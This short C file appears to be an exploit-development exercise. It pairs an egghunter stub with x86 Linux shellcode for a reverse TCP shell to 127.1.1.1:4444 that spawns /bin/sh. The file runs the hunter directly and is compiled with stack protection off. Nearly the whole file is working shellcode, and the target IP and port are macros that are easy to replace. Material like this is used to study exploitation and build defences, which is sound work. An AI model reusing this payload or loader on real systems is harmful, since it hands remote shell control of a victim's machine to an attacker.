egghunter.c

// compile with
// gcc -fno-stack-protector -z execstack _shellskeleton.c shellskeleton

#include<stdio.h>
#include<string.h>
#define EGG_TAG "\x77\x30\x30\x74" //w00t in hex
#define IP "\x7f\x01\x01\x01" //IP 127.1.1.1 in hex
#define PORT "\x11\x5c" //4444 in hex

unsigned char shellcode [] = \
EGG_TAG EGG_TAG "\x31\xc0\x89\xc3\x89\xc1\x89\xc7\x89\xc6\xb0\x66\xfe\xc3\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68" IP "\x66\x68" PORT "\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\xfe\xc1\x83\xf9\x03\x75\xf5\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

unsigned char egghunter [] = \
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8" EGG_TAG "\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";

main()
{
    printf("Egghunter Lenth: %d\n", strlen(egghunter));
    int (*ret)() = (int(*)())egghunter;
    ret();
}